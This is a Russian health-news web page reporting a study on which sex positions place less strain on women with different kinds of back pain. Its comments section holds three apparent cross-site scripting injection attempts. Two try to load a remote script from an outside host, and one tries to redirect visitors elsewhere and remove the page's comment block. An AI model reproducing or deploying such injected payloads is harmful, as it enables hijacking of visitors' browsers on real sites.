Здоровье ИНФО
Присоединяйтесь к нам:
Главная страница  >>  Наша кожа  >>  Прыщи  >>  Статьи  >>  Как заниматься сексом, ес...  >>  Как заниматься сексом, если болит спина?
 
Обратная связь
 

Как заниматься сексом, если болит спина?

Размер шрифта
17 апреля 2015 00:00
Юрий Малышев
Здоровье инфо
Александр Чистяков
Здоровье инфо
  • google_analytics: false
  • Нравится

Ученые из Университета Ватерлоо разработали методику, которая поможет всем женщинам с болью в спине вести насыщенную сексуальную жизнь. Им удалось установить, какие позы в сексе наиболее безопасны и причиняют меньше всего неудобств.

Ученые подробно исследовали, как именно позвоночник женщины двигается во время секса. Они установили, что позиции, которые раньше считались наиболее удобными для женщин с болями в спине, на самом деле далеко не лучший выбор. Результаты этой работы были опубликованы в EuropeanSpineJournal.

«Врачи обычно рекомендуют таким пациенткам позицию, при которой оба партнера лежат на боку, так как считается, что она способствует снижению нагрузки на ткани и уменьшает натяжение нервов», – объясняет Натали Сидоркевич из Университета Ватерлоо. «Но когда мы изучили движение позвоночника и активность мышц, мы обнаружили, что такая позиция – одна из худших для пациенток с определенными типами болей в спине». В своем исследовании ученые использовали систему захвата движения, которая, к примеру, применяется для создания компьютерной графики в фильмах. В эксперименте приняли участие 10 пар, которые испробовали 5 наиболее распространенных позиций для секса. Результаты этой работы были использованы для создания иллюстрированного сборника рекомендаций, который помогает подобрать оптимальную позицию в зависимости от конкретного типа болей в спине.

К примеру, женщинам, чьи боли усугубляются при лежании на животе и выгибании спины, стоит выбрать миссионерскую позицию. Подушка, подложенная под низ спины, поможет снизить нагрузку на позвоночник и поддерживать его в нейтральном положении. Женщинам, чьи боли усиливаются при длительном пребывании в сидячем положении, стоит предпочесть догги-стайл, ведь при этом они могут поддерживать верхнюю часть своего тела при помощи рук. «Сейчас мы понимаем, что позиции, которые отлично подходят одним женщинам, могут навредить другим, у которых совсем иной тип боли в спине», – рассказывает Сидоркевич. «Мы надеемся, что наши рекомендации помогут многим парам вести насыщенную сексуальную жизнь».

По данным статистики, четверо из пяти человек хотя бы раз испытывали сильную боль в спине. Более 84% мужчин и 73% женщин сообщали, что боль в спине ограничивает их сексуальную жизнь. «Пары часто обращаются к врачам за советом, как именно стоит заниматься сексом, чтобы не провоцировать усиление болей. Боль, возникшая в результате одной проведенной вместе ночи, может длиться несколько месяцев», – рассказывает профессор Стюарт МакГилл. «Теперь врачам будет проще помочь таким пациентам».

Так что если вас беспокоят боли в спине – не стоит пренебрегать походом к специалисту. Его рекомендации помогут вам снова начать наслаждаться жизнью и свести к минимуму все неприятные симптомы.

Другие статьи о гармоничной интимной жизни в зрелом возрасте ищите на страницах нашего специального проекта «Есть ли секс после 45?»

  • google_analytics: false
  • Нравится
Послать другу Послать другу Распечатать Распечатать Обсудить на форуме Обсудить на форуме
Комментарии

1 - his shadow

17 апреля 2015 в 10:33

Цитировать   |   Пожаловаться

лёжа..

2 - zzzzzz

30 июня 2015 в 18:22

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js">

3 - zzzzzz

30 июня 2015 в 21:20

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js">

4 - zzzzzz

30 июня 2015 в 22:14

Цитировать   |   Пожаловаться

-->> window.location.href="http://a25832-hostde3.fornex.org/"; $("form.noprint, #CommentsBlock").remove();

Статьи

       
Правила секса в 30, 40, 50 лет   Вам хочется секса, а у мужа болит спина! Как получить свое?   Правила секса в 50 лет   Стыдные вопросы про секс  
26 апреля 2013Не заставляйте мужчин убираться дома! Последнее исследование показало, что у таких пар меньше секса! 12 декабря 2012Гормон оргазма не дает мужчинам изменять
 
18 сентября 2012Нет презерватива? Будет рак простаты! 09 июля 2013Майкл Дуглас заболел раком гортани из-за орального секса! Как дальше жить?
 

Слайдшоу

1
Лучшее время для секса!
Как научить мужа доставлять вам удовольствие в постели
Почему болит во время секса?

Тесты

1
Какой матрас вам подходит?
Какая у вас стадия остеохондроза?
Здорова ли ваша предстательная железа
Вопросы и ответы
Яна Александровна Юцковская
Яна Александровна Юцковская Задать вопрос
Посмотреть информацию о враче

Юцковская Яна Александровна, д.м.н., профессор, зав. кафедрой дерматовенерологии и косметологии ГБОУ ВПО «ТГМУ Минздрава России», врач высшей категории, директор ООО «Профессорская клиника Юцковских», Владивосток, директор ООО «Клиника профессора  Юцковской», Москва, президент НП «ДВАЭМ», председатель Дальневосточного отделения МООСБТ.

Елена Николаевна Волкова
Елена Николаевна Волкова Прочитать ответы
Посмотреть информацию о враче

Доктор медицинских наук, профессор кафедры дерматовенерологии Московского факультета ГОУ ВПО «РГМУ им. Н.И. Пирогова Минздравсоцразвития России». Этот консультант отвечал на вопросы пользователей с 03 ноября 2011 г. по 15 февраля 2012 г.